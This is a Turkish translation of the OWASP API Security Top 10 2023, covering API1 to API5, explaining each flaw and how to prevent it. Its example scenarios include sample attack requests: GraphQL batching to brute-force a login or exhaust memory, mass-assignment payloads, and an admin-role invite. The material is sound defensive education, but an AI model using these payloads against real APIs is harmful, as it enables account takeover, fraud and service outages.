OWASP®

OWASP API Security

Top Ten - 2023

İçindekiler

Önsöz

API'ler modern uygulama mimarisinde çok önemli bir rol oynamaktadır. Ancak yenilikler, güvenlik farkındalığı yaratmakta farklı bir hıza sahip olduğundan, yaygın API güvenlik zayıflıkları için farkındalık oluşturmak ayrıca önem arz etmektedir.

OWASP API Güvenliği İlk 10'un birincil amacı, API geliştirme ve bakımıyla ilgilenenleri bilgilendimek, eğitmektir.

AISecLab olarak, bu alandaki Türkçe kaynakların yetersizliği ve hızlı gelişen teknolojiyi görüyor ve buna yönelik çalışmalarına devam ediyoruz.

Bilgilendirme

Telif Hakkı ve Lisans

Tüm hakları OWASP kuruluşuna aittir. Bu doküman "Creative Commons Attribution ShareAlike 4.0" lisansı altında yayımlanmıştır. Dokümanın yeniden kullanımı veya dağıtımı esnasında bu lisans göz önünde bulundurulmalıdır.

Proje Liderleri

- Erez Yalon
- Inon Shkedy
- Paulo Silva

Emeği Geçenler

247arjun, abunuwas, Alissa Knight, Arik Atar, aymenfurter, Corey J. Ball, cyn8, d0znpp, Dan Gordon, donge, Dor Tumarkin, faizzaidi, gavjl, guybensimhon, Inês Martins, Isabelle Mauny, Ivan Novikov, jmanico, Juan Pablo, k7jto, LaurentCB, llegaz, Maxim Zavodchik, MrPRogers, planetlevel, rahulk22, Roey Eliyahu, Roshan Piyush, securitylevelup, sudeshgadewar123, Tatsuya-hasegawa, tebbers, vanderaj, wenz, xplo1t-sec, Yaniv Balmas, ynvb

AISecLab Türkçe Çeviri Ekibi

- Mentor: Cihan Özhan
- Furkan Berk Koçoğlu
- Amine Nur YEŞİL
- Şevval Ayşe KENAR

API1:2023 Bozuk Nesne Düzeyinde Yetkilendirme

Tehdit (Threat) Unsurları / Saldırı vektörleri	Güvenlik Zaafiyetleri	Etki
API Özelinde: İstismar edilebilirlik ***kolay***	Yaygınlık ***yaygın***: Tespit Edilebilirlik ***Kolay***	Teknik ***Orta***: İşletme Özelinde
Saldırganlar, istek *(request)* içinde gönderilen bir nesnenin kimliğini *(ID)* manipüle ederek bozuk nesne düzeyinde yetkilendirmeye karşı savunmasız olan API uç noktalarından yararlanabilir. Nesne kimlikleri *(object IDs)* sıralı tamsayılar, UUID'ler veya genel dizelerden herhangi biri olabilir. Veritürü ne olursa olsun, istek hedefinde (yol veya sorgu dizesi parametreleri), istek başlıklarında ve hatta istek yükünün bir parçası olarak tanımlanmaları kolaydır.	Bu sorun API tabanlı uygulamalarda son derece yaygındır çünkü sunucu bileşeni genellikle istemcinin *(client)* durumunu tam olarak takip etmez ve bunun yerine, hangi nesnelere erişileceğine karar vermek için istemciden gönderilen nesne kimlikleri gibi parametrelere daha çok güvenir. Sunucu yanıtı genellikle isteğin başarılı olup olmadığını anlamak için yeterlidir.	Diğer kullanıcıların nesnelerine yetkisiz erişim, verilerin yetkisiz taraflara ifşa edilmesine, veri kaybına veya veri manipülasyonuna neden olabilir. Belirli koşullar altında, nesnelere yetkisiz erişim hesabın tamamen ele geçirilmesine de yol açabilir.

API Savunmasız Mı?

Nesne düzeyinde yetkilendirme, bir kullanıcının yalnızca erişim iznine sahip olması gereken nesnelere erişebileceğini doğrulamak için genellikle kod düzeyinde uygulanan bir erişim kontrol mekanizmasıdır.

Bir nesnenin kimliğini alan ve nesne üzerinde herhangi bir eylem gerçekleştiren her API uç noktası, nesne düzeyinde yetkilendirme denetimleri uygulamalıdır. Kontroller, oturum açan kullanıcının istenen nesne üzerinde istenen eylemi gerçekleştirme iznine sahip olduğunu doğrulamalıdır.

Bu mekanizmadaki hatalar genellikle yetkisiz bilgi ifşasına, tüm verilerin değiştirilmesine veya imha edilmesine yol açar.

Mevcut oturumun kullanıcı kimliğini (örneğin JWT belirtecinden çıkararak) savunmasız kimlik parametresiyle karşılaştırmak, Bozuk Nesne Düzeyi Yetkilendirmesini (Broken Object Level Authorization(BOLA)) çözmek için yeterli bir çözüm değildir. Bu yaklaşım, vakaların yalnızca küçük bir alt kümesini ele alabilir.

BOLA durumunda, kullanıcının savunmasız API uç noktasına/işlevine erişimi olması tasarım gereğidir. İhlal, nesne seviyesinde, ID'nin manipüle edilmesiyle gerçekleşir. Bir saldırgan erişmemesi gereken bir

API uç noktasına/işlevine erişmeyi başarırsa, bu BOLA'dan ziyade Bozuk İşlev Düzeyi Yetkilendirmesi- Broken Function Level Authorization (BFLA)- durumudur.

Örnek Senaryoları:

Senaryo #1

Çevrimiçi mağazalar için bir e-ticaret platformu, bünyesinde barındırdığı mağazalar için gelir grafikleri içeren bir listeleme sayfası sağlar. Tarayıcı isteklerini inceleyen bir saldırgan, bu grafikler için veri kaynağı olarak kullanılan API uç noktalarını ve bunların modelini belirleyebilir:

`/shops/{shopName}/revenue_data.json`

Saldırgan, başka bir API uç noktası kullanarak barındırılan tüm mağaza adlarının listesini alabilir. Saldırgan, listedeki isimleri değiştirmek için URL'deki `{shopName}` yerine basit bir komut dosyası kullanarak binlerce e-ticaret mağazasının satış verilerine erişim elde eder.

Senaryo #2

Bir otomobil üreticisi, sürücünün cep telefonuyla iletişimi için bir mobil API aracılığıyla araçlarının uzaktan kontrol edilmesini sağladı. API, sürücünün motoru uzaktan çalıştırmasını ve durdurmasını ve kapıları kilitlemesini ve açmasını sağlar. Bu akışın bir parçası olarak, kullanıcı API'ye Araç Kimlik Numarasını -Vehicle Identification Number (VIN)- gönderir. API, VIN'in oturum açan kullanıcıya ait bir aracı temsil ettiğini doğrulayamaz ve bu da bir BOLA güvenlik açığına yol açar. Bir saldırgan kendisine ait olmayan araçlara erişebilir.

Senaryo #3

Çevrimiçi bir belge depolama hizmeti, kullanıcıların belgelerini görüntülemelerine, düzenlemelerine, saklamalarına ve silmelerine olanak tanır. Bir kullanıcının belgesi silindiğinde, belge kimliğini içeren bir GraphQL değişikliği API'ye gönderilir.

```
POST /graphql
{
 "operationName":"deleteReports",
 "variables":{
  "reportKeys":["<DOCUMENT_ID>"]
 },
 "query":"mutation  deleteReports($siteId: ID!, $reportKeys: [String]!) {
  {
          deleteReports(reportKeys: $reportKeys)
  }
 }"
}
```

Verilen ID'ye sahip belge başka bir izin kontrolü yapılmadan silindiğinden, bir kullanıcı başka bir kullanıcının belgesini silebilir.

Nasıl Önlenir?

- Kullanıcı politikalarına ve hiyerarşisine dayanan uygun bir yetkilendirme mekanizması uygulayın.
- Veri tabanındaki bir kayda erişmek için istemciden gelen bir girdiyi kullanan her işlevde, oturum açan kullanıcının kayıt üzerinde istenen eylemi gerçekleştirme erişimine sahip olup olmadığını kontrol etmek için yetkilendirme mekanizmasını kullanın.
- Kayıtların kimlikleri için GUID olarak rastgele ve öngörülemeyen değerlerin kullanılmasını tercih edin.
- Yetkilendirme mekanizmasının güvenlik açığını değerlendirmek için testler yazın. Testlerin başarısız olmasına neden olacak değişiklikler yapmayın.

API2: 2023 Bozuk Kimlik Doğrulama

Tehdit (Threat) Unsurları / Saldırı vektörleri	Güvenlik Zaafiyetleri	Etki
API Özelinde: İstismar edilebilirlik ***kolay***	Yaygınlık ***genel***: Tespit Edilebilirlik ***kolay***	Teknik ***Ciddi***: İşletme Özelinde
Kimlik doğrulama mekanizması herkese açık olduğu için saldırganlar için kolay bir hedeftir. Bazı kimlik doğrulama sorunlarını istismar etmek için daha ileri teknik beceriler gerekebilse de, istismar araçları genellikle mevcuttur.	Yazılım ve güvenlik mühendislerinin kimlik doğrulama sınırlarına yönelik yanlış anlamaları ve kimlik doğrulama uygulamalarının doğası gereği karmaşıklığı, kimlik doğrulama sorunlarını yaygın hale getirmektedir. Bozuk kimlik doğrulama tespit metodolojileri mevcuttur ve oluşturulması kolaydır.	Saldırganlar sistemdeki diğer kullanıcıların hesaplarının tam kontrolünü ele geçirebilir, kişisel verilerini okuyabilir ve onlar adına hassas eylemler gerçekleştirebilir. Sistemlerin saldırganların eylemlerini gerçek kullanıcı eylemlerinden ayırt etmesi pek mümkün değildir.

API Savunmasız Mı?

Kimlik doğrulama uç noktaları ve akışları korunması gereken unsurlardır. Ayrıca, "Şifremi unuttum / şifre sıfırlama", kimlik doğrulama mekanizmalarıyla aynı şekilde ele alınmalıdır.

Bir API şu durumlarda savunmasızdır:

- Saldırganın geçerli kullanıcı adları ve parolalar listesiyle brute force (kaba kuvvet) kullandığı kimlik bilgisi doldurmaya izin veriyorsa,
- Saldırganların captcha/hesap kilitleme mekanizması sunmadan aynı kullanıcı hesabına brute force (kaba kuvvet) saldırısı gerçekleştirmesine izin veriyorsa,
- Zayıf parolalara izin veriyorsa,
- URL'de auth tokenları ve parolalar gibi hassas kimlik doğrulama bilgilerini gönderiyorsa,
- Kullanıcıların e-posta adreslerini, mevcut parolalarını değiştirmelerine veya diğer hassas işlemleri parola onayı istemeden yapmalarına izin veriyorsa,
- Tokenların doğrulamasını yapmıyorsa,
- İmzasız/zayıf imzalı JWT tokenlarını kabul ediyorsa ({"alg":"none"}),
- JWT son kullanma tarihini doğrulamıyorsa,
- Düz metin, şifrelenmemiş veya zayıf hashlenmiş parolalar kullanıyorsa,
- Zayıf şifreleme anahtarları kullanıyorsa savunmasızdır.

Bunun da ötesinde, bir mikro hizmet aşağıdaki durumlarda savunmasızdır:

- Diğer mikro hizmetlerin kimlik doğrulaması olmadan ona erişebildiği durumlarda,
- Kimlik doğrulamasını zorlamak için zayıf veya öngörülebilir tokenlar kullanıyorsa

savunmasızdır.

Örnek Saldırı Senaryoları:

Senaryo #1

Kullanıcı kimlik doğrulamasını gerçekleştirmek için istemcinin *(client)* kullanıcı kimlik bilgileriyle birlikte aşağıdaki gibi bir API isteği göndermesi gerekir:

```
{
 "query":"mutation {
  login (username:\"<username>\",password:\"<password>\") {
          token
  }
 }"
}
```

Kimlik bilgileri geçerliyse, kullanıcıyı tanımlamak için müteakip isteklerde sağlanması gereken bir auth token döndürülür. Giriş denemeleri kısıtlayıcı hız sınırlamasına tabidir: dakikada yalnızca üç isteğe izin verilir.

Bir kurbanın hesabıyla brute force kullanarak oturum açmak için, kötü niyetli kişiler sorgu hızı sınırlamasını atlamak için GraphQL sorgu gruplamasından yararlanarak saldırıyı hızlandırır:

```
POST/graphql[ {"query":"mutation{login(username:\"victim\",password:\"password\"){token}}"},
{"query":"mutation{login(username:\"victim\",password:\"123456\"){token}}"},
{"query":"mutation{login(username:\"victim\",password:\"qwerty\"){token}}"},
...{"query":"mutation{login(username:\"victim\",password:\"123\"){token}}"}, ]
```

Senaryo #2

Bir kullanıcının hesabıyla ilişkili e-posta adresini güncellemek için istemciler aşağıdaki gibi bir API isteği göndermelidir:

```
PUT /account Authorization: Bearer <token> { "email": "<new_email_address>" }
```

API, kullanıcıların mevcut parolalarını girerek kimliklerini doğrulamalarını gerektirmediğinden, kendilerini kimlik doğrulama tokenlarını çalabilecek bir konuma getirebilen kötü niyetli kişiler, kurbanın hesabının e-posta adresini güncelledikten sonra parola sıfırlama iş akışını başlatarak kurbanın hesabını ele geçirebilir.

Nasıl Önlenir?

- API'ye kimlik doğrulaması yapmak için tüm olası akışları bildiğinizden emin olun (mobil / web / tek tıklamayla kimlik doğrulama uygulayan derin bağlantılar / vb.)
- Mühendislerinize hangi akışları kaçırdığınızı sorun.
- Kimlik doğrulama mekanizmalarınız hakkında bilgi edinin. Ne kullandıklarını ve nasıl kullanıldıklarını anladığınızdan emin olun.
- OAuth kimlik doğrulama değildir, API anahtarları da öyle.
- Kimlik doğrulama, token oluşturma veya parola saklama konusunda tekerleği yeniden icat etmeyin. Standartları kullanın.
- Kimlik bilgisi kurtarma / unutulan parola uç noktaları, kaba kuvvet, hız sınırlama ve kilitleme korumaları açısından oturum açma uç noktaları gibi ele alınmalıdır.
- Hassas işlemler için yeniden kimlik doğrulama gerektirin (ör. hesap sahibinin e-posta adresini/2FA telefon numarasını değiştirmek).
- OWASP Authentication Cheatsheet'i kullanın.
- Mümkün olan yerlerde çok faktörlü kimlik doğrulama uygulayın.
- Kimlik doğrulama uç noktalarında kimlik bilgisi doldurma, sözlük saldırıları ve brute force saldırılarını azaltmak için brute force önleme mekanizmaları uygulayın. Bu mekanizma, API'lerinizdeki normal hız sınırlama mekanizmalarından daha katı olmalıdır.
- Belirli kullanıcılara karşı brute force saldırılarını önlemek için hesap kilitleme/captcha mekanizmaları uygulayın. Zayıf parola kontrolleri uygulayın.
- API anahtarları kullanıcı kimlik doğrulaması için kullanılmamalıdır. Yalnızca API istemcilerinin kimlik doğrulaması için kullanılmalıdır.

API3:2023 Kırık Nesne Özellik Seviyesi Yetkilendirmesi

Tehdit (Threat) Unsurları / Saldırı vektörleri	Güvenlik Zaafiyetleri	Etki
API Özelinde: İstismar edilebilirlik ***kolay***	Yaygınlık ***yaygın***: Tespit Edilebilirlik ***kolay***	Teknik ***Orta***: İşletme Özelinde
API'ler, tüm nesne özelliklerini döndüren uç noktaları ortaya çıkarma eğilimindedir. Bu, özellikle REST API'leri için geçerlidir. GraphQL gibi diğer protokoller için, hangi özelliklerin döndürülmesi gerektiğini belirtmek için hazırlanmış istekler gerekebilir. Manipüle edilebilecek bu ek özellikleri belirlemek daha fazla çaba gerektirir, ancak bu göreve yardımcı olacak birkaç otomatik araç vardır.	API yanıtlarını incelemek, döndürülen nesnelerin temsillerindeki hassas bilgileri belirlemek için yeterlidir. Fuzzing genellikle ek (gizli) özellikleri tanımlamak için kullanılır.Değiştirilip değiştirilemeyecekleri, bir API isteği hazırlama ve yanıtı analiz etme meselesidir. API yanıtında hedef özellik döndürülemezse yan etki analizi gerekebilir.	Özel/hassas nesne özelliklerine yetkisiz erişim, verilerin ifşasına, veri kaybına veya verilerin bozulmasına neden olabilir. Belirli koşullar altında, nesne özelliklerine yetkisiz erişim ayrıcalık artışına veya hesabın kısmen/tamamen devralınmasına neden olabilir.

API Savunmasız mı?

Bir kullanıcının bir API uç noktası kullanarak bir nesneye erişmesine izin verirken, kullanıcının erişmeye çalıştığı belirli nesne özelliklerine erişimi olduğunu doğrulamak önemlidir.
Bir API uç noktası şu durumlarda savunmasızdır:

- API uç noktası, hassas kabul edilen ve kullanıcı tarafından okunmaması gereken bir nesnenin özelliklerini gösterir. (Önceki adıyla: "Aşırı Veri Teşhiri")
- API uç noktası, kullanıcının erişemeyeceği hassas bir nesnenin özelliğinin değerini değiştirmesine, eklemesine/silmesine olanak tanır (önceki adı: "Toplu Atama")

Örnek Saldırı Senaryoları:

Senaryo #1

Bir dating uygulaması, bir kullanıcının diğer kullanıcıları uygunsuz davranışlar nedeniyle bildirmesine olanak tanır. Bu akışın bir parçası olarak, kullanıcı bir "rapor" düğmesine tıklar ve aşağıdaki API çağrısı tetiklenir:

```
POST /graphql{

"operationName":"reportUser",
```

```
"variables":{
 "userId": 313,
"reason":["offensive behavior"]
},
"query":"mutation reportUser($userId: ID!, $reason: String!) {
 reportUser(userId: $userId, reason: $reason) {
  status message reportedUser {
    id
    fullName
    recentLocation
    }
   }
  }"
}
```

API Bitiş Noktası, kimliği doğrulanmış kullanıcının "fullName" ve "recentLocation" gibi diğer kullanıcılar tarafından erişilmemesi gereken hassas (rapor edilen) kullanıcı nesnesi özelliklerine erişmesine izin verdiği için savunmasızdır.

Senaryo #2

Bir tür kullanıcıya ("ev sahipleri") dairelerini başka bir tür kullanıcıya ("misafirler") kiralama imkanı sunan bir çevrimiçi pazar yeri platformu, ev sahibinin misafirden yaptığı rezervasyonu kabul etmesini gerektirir.
Bu akışın bir parçası olarak, ana bilgisayar tarafından aşağıdaki meşru yük ile

```
POST /api/host/approve_booking'e bir API çağrısı gönderilir:
{
"approved": true,
"comment": "Check-in is after 3pm"
 }
Ana bilgisayar meşru isteği yeniden oynatır ve aşağıdaki kötü amaçlı yükü ekler:
{
 "approved": true,
 "comment": "Check-in is after 3pm",
 "total_stay_price": "$1,000,000"
}
```

Ana bilgisayarın dahili nesne özelliğine (`total_stay_price`) erişimi olması gerektiğine dair bir doğrulama olmadığı ve konuktan olması gerekenden daha fazla ücret alınacağı için API uç noktası savunmasızdır.

Senaryo #3

Kısa videolara dayalı bir sosyal ağ, kısıtlayıcı içerik filtreleme ve sansür uygular. Yüklenen bir video engellenmiş olsa bile, kullanıcı aşağıdaki API isteğini kullanarak videonun açıklamasını değiştirebilir:

```
PUT /api/video/update_video
{
 "description": "a funny video about cats"
}
```

Hayal kırıklığına uğramış bir kullanıcı meşru isteği yeniden oynatabilir ve aşağıdaki kötü amaçlı yükü ekleyebilir:

```
{
"description": "a funny video about cats",
"blocked": false
}
```

API uç noktası savunmasızdır, çünkü kullanıcının dahili nesne özelliğine erişimi olması gerekiyorsa doğrulama yoktur- engellendi ve kullanıcı değeri true'dan false'a değiştirebilir ve kendi engellenen içeriğinin kilidini açabilir.

Nasıl Önlenir?

- Bir API uç noktası kullanarak bir nesneyi kullanıma sunarken, kullanıcının açığa çıkardığınız nesnenin özelliklerine erişimi olması gerektiğinden her zaman emin olun.
- to_json() ve to_string() gibi genel yöntemleri kullanmaktan kaçının. Bunun yerine, özellikle döndürmek istediğiniz belirli nesne özelliklerini özenle seçin.
- Mümkünse, bir istemcinin girişini kod değişkenlerine, dahili nesnelere veya nesne özelliklerine ("Toplu Atama") otomatik olarak bağlayan işlevleri kullanmaktan kaçının.
- Yalnızca istemci tarafından güncellenmesi gereken nesnenin özelliklerinde yapılan değişikliklere izin ver.
- Ekstra bir güvenlik katmanı olarak şema tabanlı bir yanıt doğrulama mekanizması uygulayın. Bu mekanizmanın bir parçası olarak, tüm API yöntemleri tarafından döndürülen verileri tanımlayın ve uygulayın.
- Uç nokta için iş/fonksiyonel gereksinimlere göre döndürülen veri yapılarını minimumda tutun.

API4:2023 Sınırsız Kaynak Tüketimi

Tehdit (Threat) Unsurları / Saldırı vektörleri	Güvenlik Zaafiyetleri	Etki
API Özelinde: İstismar edilebilirlik ***orta***	Yaygınlık ***yaygın***: Tespit Edilebilirlik ***kolay***	Teknik ***Ciddi***: İşletme Özelinde
İstismar, basit API istekleri gerektirir. Birden çok eşzamanlı istek, tek bir yerel bilgisayardan veya bulut bilgi işlem kaynakları kullanılarak gerçekleştirilebilir. Mevcut otomatik araçların çoğu, API'lerin hizmet oranını etkileyen yüksek trafik yükleri aracılığıyla DoS'ye neden olacak şekilde tasarlanmıştır.	İstemci etkileşimlerini veya kaynak tüketimini sınırlamayan API'ler bulmak yaygın bir durumdur. Döndürülecek kaynakların sayısını kontrol eden parametreleri içerenler ve yanıt durumu/süre/uzunluk analizi gerçekleştirme gibi hazırlanmış API istekleri, sorunun tanımlanmasına izin vermelidir. Aynısı toplu işlemler için de geçerlidir. Tehdit ajanlarının maliyet etkisi konusunda görünürlüğü olmasa da bu, hizmet sağlayıcıların (ör. bulut sağlayıcı) iş/fiyatlandırma modeline dayalı olarak çıkarılabilir.	Sömürü, kaynak yetersizliği nedeniyle DoS'a yol açabilir, ancak daha yüksek CPU talebi, artan bulut depolama ihtiyaçları vb. nedeniyle altyapı ile ilgili olanlar gibi operasyonel maliyetlerin artmasına da yol açabilir.

API Savunmasız mı?

API isteklerini karşılamak, ağ bant genişliği, CPU, bellek ve depolama gibi kaynaklar gerektirir. Bazen gerekli kaynaklar, hizmet sağlayıcılar tarafından API entegrasyonları yoluyla sağlanır ve e-posta/SMS/telefon aramaları, biyometrik doğrulama vb. gönderme gibi istek başına ödenir.

Aşağıdaki sınırlardan en az biri eksikse veya uygunsuzşekilde ayarlanmışsa (örn. çok düşük/yüksek) bir API savunmasızdır:

- Yürütme zaman aşımları
- Ayrılabilir maksimum bellek
- Maksimum dosya tanıtıcı sayısı
- Maksimum işlem sayısı
- Maksimum yükleme dosyası boyutu
- Tek bir API istemci isteğinde gerçekleştirilecek işlem sayısı (ör. GraphQL gruplama)
- Tek bir istek-yanıtında döndürülecek sayfa başına kayıt sayısı
- Üçüncü taraf hizmet sağlayıcıların harcama limiti

Örnek Saldırı Senaryoları

Senaryo #1

Bir sosyal ağ, SMS doğrulamasını kullanarak bir "şifremi unuttum" akışı uygulayarak kullanıcının şifresini sıfırlamak için SMS yoluyla tek seferlik bir jeton almasını sağladı.
Bir kullanıcı "şifremi unuttum" seçeneğini tıkladığında, kullanıcının tarayıcısından arka uç API'sine bir API çağrısı gönderilir:

```
POST /initiate_forgot_password
{
 "step": 1,
 "user_number": "6501113434"
}
```

Ardından, perde arkasında, arka uçtan, SMS'in iletilmesiyle ilgilenen 3. taraf bir API'ye bir API çağrısı gönderilir:

```
POST /sms/send_reset_pass_code
Host: willyo.net
{
 "phone_number": "6501113434"
}
```

3. taraf sağlayıcı Willyo, bu arama türü başına 0,05 USD ücret alır.
Saldırgan, ilk API çağrısını on binlerce kez gönderen bir komut dosyası yazar. Arka uç takip eder ve Willyo'dan on binlerce kısa mesaj göndermesini ister, bu da şirketin birkaç dakika içinde binlerce dolar kaybetmesine neden olur.

Senaryo #2

GraphQL API Endpoint, kullanıcının bir profil resmi yüklemesine izin verir.

```
POST /graphql
{
 "query": "mutation {
  uploadPic(name: \"pic1\", base64_pic: \"R0FOIEFOR0xJVA...\") {
   url}
  }"
}
```

Yükleme tamamlandıktan sonra API, yüklenen resme bağlı olarak farklı boyutlarda birden çok küçük resim oluşturur. Bu grafik işlem, sunucudan çok fazla bellek alır.
API, geleneksel bir hız sınırlama koruması uygular- bir kullanıcı kısa bir süre içinde GraphQL uç noktasına çok fazla erişemez. API, çok büyük resimlerin işlenmesini önlemek için küçük resimler oluşturmadan önce yüklenen resmin boyutunu da kontrol eder.
Saldırgan, GraphQL'nin esnek yapısından yararlanarak bu mekanizmaları kolayca atlayabilir:

```
POST /graphql
[
 {"query": "mutation {uploadPic(name: \"pic1\", base64_pic: \"R0FOIEFOR0xJVA...\") {url}}"},
 {"query": "mutation {uploadPic(name: \"pic2\", base64_pic: \"R0FOIEFOR0xJVA...\") {url}}"},
...
 {"query": "mutation {uploadPic(name: \"pic999\", base64_pic: \"R0FOIEFOR0xJVA...\") {url}}"},
}
```

API, resim yükleme işleminin denenme sayısını sınırlamadığından, çağrı, sunucu belleğinin tükenmesine ve Hizmet Reddine yol açacaktır.

Senaryo #3

Bir hizmet sağlayıcı, API'sini kullanarak müşterilerin keyfi olarak büyük dosyaları indirmesine izin verir. Bu dosyalar bulut nesne deposunda depolanır ve çok sık değişmezler. Hizmet sağlayıcı, daha iyi bir hizmet hızına sahip olmak ve bant genişliği tüketimini düşük tutmak için bir önbellek hizmetine güvenir. Önbellek hizmeti yalnızca 15 GB'a kadar olan dosyaları önbelleğe alır.
Dosyalardan biri güncellendiğinde boyutu 18 GB'a çıkar. Tüm hizmet istemcileri hemen yeni sürümü çekmeye başlar. Bulut hizmeti için hiçbir tüketim maliyeti uyarısı veya bir maksimum maliyet ödeneği olmadığı için, bir sonraki aylık fatura ortalama olarak 13 ABD dolarından 8 bin ABD dolarına çıkıyor.

Nasıl Önlenir?

- Belleği, CPU'yu, yeniden başlatma sayısını, dosya tanımlayıcıları ve *Konteynerler / Sunucusuz kod (örn. Lambda'lar)* gibi işlemleri sınırlamayı kolaylaştıran bir çözüm kullanın.
- Dizeler için maksimum uzunluk, dizilerdeki maksimum öğe sayısı ve maksimum yükleme dosyası boyutu (yerel olarak mı yoksa bulut depolama alanında mı depolandığına bakılmaksızın) gibi tüm gelen parametreler ve yükler için maksimum veri boyutunu tanımlayın ve uygulayın.
- Bir müşterinin, tanımlanmış bir zaman çerçevesi içinde API ile ne sıklıkta etkileşimde bulunabileceğine ilişkin bir sınır uygulayın (oran sınırlaması).
- Oran sınırlaması, iş ihtiyaçlarına göre ince ayarlanmalıdır. Bazı API Uç Noktaları daha katı politikalar gerektirebilir.
- Tek bir API istemcisinin/kullanıcısının tek bir işlemi kaç kez veya ne sıklıkta yürütebileceğini sınırlayın/kısıtın (ör. bir OTP'yi doğrulama veya tek seferlik URL'yi ziyaret etmeden şifre kurtarma talebinde bulunma).
- Sorgu dizesi ve istek gövdesi parametreleri için, özellikle yanıtta döndürülecek kayıt sayısını kontrol eden uygun sunucu tarafı doğrulaması ekleyin.
- Tüm hizmet sağlayıcılar/API entegrasyonları için harcama limitlerini yapılandırın.
- Harcama limitleri ayarlamak mümkün olmadığında bunun yerine faturalandırma uyarıları yapılandırılmalıdır.

API5: Bozuk Fonksiyon Düzeyinde Yetkilendirme

Tehdit (Threat) Unsurları / Saldırı vektörleri	Güvenlik Zaafiyetleri	Etki
API Özelinde: İstismar edilebilirlik ***kolay***	Yaygınlık ***yaygın***: Tespit Edilebilirlik ***orta***	Teknik ***Ciddi***: İşletme Özelinde
İstismar,saldırganın anonim kullanıcılar veya normal ayrıcalıklı olmayan kullanıcılar olarak erişmemesi gereken bir API uç noktasına meşru API çağrıları göndermesini gerektirir. Açığa çıkan uç noktalar kolayca istismar edilecektir.	İş gereksinimlerini tam olarak desteklemek için API'nin bütüncül bir görüşünün olmaması, bu sorunun yaygınlığına katkıda bulunma eğilimindedir. Saldırganlar, hedef iş akışına hangi kaynakların (örneğin: uç noktalar) dahil olduğunu ve bunların birlikte nasıl çalıştıklarını manuel olarak belirler. Azaltma mekanizmaları halihazırda yürürlükteyse, saldırganların bunları atlamanın bir yolunu bulması gerekir.	Bu tür kusurlar, saldırganların yetkisiz işlevlere erişmesine izin verir. İdari işlevler, bu tür saldırılar için kilit hedeflerdir ve verilerin ifşasına, veri kaybına ya da veri bozulmasına yol açabilir. En sonunda hizmet kesintisine neden olabilir.

API Savunmasız Mı?

Bozuk fonksiyon düzeyinde yetkilendirme sorunlarını bulmanın en iyi yolu, kullanıcı hiyerarşisini, uygulamadaki farklı rolleri veya grupları göz önünde bulundurarak ve aşağıdaki soruları sorarak yetkilendirme mekanizmasının derinlemesine analizini yapmaktır:

- Düzenli kullanıcı yönetimsel uç noktalara erişebilir mi?
- Bir kullanıcı, yalnızca HTTP metodunu değiştirerek (örneğin, GET 'ten DELETE 'e) erişememesi gereken hassas eylemler(örneğin, oluşturma, değiştirme veya silme) gerçekleştirebilir mi?
- X grubundan bir kullanıcı, yalnızca uç nokta URL'sini ve parametrelerini tahmin ederek sadece Y grubundaki kullanıcılara gösterilmesi gereken bir işleve erişebilir mi? (örneğin: `/api/v1/users/export_all`)

URL yoluna dayanarak bir API uç noktasının yalnızca düzenli veya yönetimsel olacağını varsaymayın. Geliştiriciler yönetimsel uç noktaların çoğunu belirli bir ilgili yol altında kullanıma sunmayı tercih edebilirken, `/api/admins` gibi, bu yönetim uç noktalarını diğer ilgili yolların altında, düzenli uç noktalarla birlikte bulmak çok yaygındır, `/api/users` gibi.

Örnek Saldırı Senaryoları

Senaryo #1

Yalnızca davet edilen kullanıcıların katılmasına izin veren bir uygulamanın kayıt işlemi sırasında,mobil uygulamanın API çağrısını tetikler GET /api/invites/{invite_guid}.Bu yanıtta kullanıcının rolü ve kullanıcının e postası da dahil olmak üzere davetle ilgili ayrıntıları içeren bir JSON içerir.
Bir saldırgan isteği kopyalar ve HTTP metod ve uç noktayı değiştirir POST /api/invites/new. Bu uç noktaya sadece yönetici konsolunu kullanan yöneticiler tarafından erişilmelidir.Uç nokta fonksiyon seviyesinde yetki kontrolleri uygulanmaz.
Saldırgan sorunu kötüye kullanır ve yönetici ayrıcalıklarına sahip yeni bir davet gönderir:

```
POST /api/invites/new
{
  "email": "attacker@somehost.com",
  "role":"admin"
}
```

Daha sonra, saldırgan kötü amaçlarla hazırlanmış daveti, kendilerine bir yönetici hesabı oluşturmak ve sisteme tam erişim elde etmek için kullanır.

Senaryo #2

Bir API yalnızca yöneticilere açık uç nokta içerir GET /api/admin/v1/users/all.Bu uç nokta uygulamanın tüm kullanıcıların günlüklerini döndürür ve fonksiyon seviyesinde yetkilendirme kontrolleri uygulamaz.API yapısını öğrenen bir saldırgan, bilinçli bir tahminde bulunur ve bu uç noktaya erişmeyi başarır, bu uygulamanın kullanıcılarının hassas ayrıntılarını ortaya çıkarır.

Nasıl Önlenir?

Uygulamanız tutarlı ve tüm iş fonksiyonlarınızdan çağrılan, analizi kolay yetkilendirme modülüne sahip olmalıdır. Sıklıkla, bu koruma uygulama kodunun dışındaki bir veya daha fazla bileşen tarafından sağlanır.

- Zorlama mekanizma/mekanizmaları varsayılan olarak tüm erişimi reddetmeli, her işleve erişim için belirli rollere açık yetki verilmesi gerekmelidir.
- Uygulamanın iş mantığını ve grup hiyerarşisini göz önünde bulundurarak API uç noktalarınızı fonksiyon seviyesinde yetkilendirme kusurlarına karşı inceleyin.
- Tüm yönetici denetleyicilerinizin, kullanıcının grubuna/rolüne göre yetkilendirme kontrolleri uygulayan bir soyut yönetim denetleyicisinden devraldığından emin olun.
- Düzenli bir denetleyici içindeki yönetici işlevlerin, kullanıcının grubuna ve rolüne göre yetkilendirme kontrolleri uygulandığından emin olun.

API6:2023 Hassas İş Akışlarına Sınırsız Erişim

Tehdit (Threat) Unsurları / Saldırı vektörleri	Güvenlik Zaafiyetleri	Etki
API Özelinde: İstismar edilebilirlik ***kolay***	Yaygınlık ***genel***: Tespit Edilebilirlik ***orta***	Teknik ***Ciddi***: İşletme Özelinde
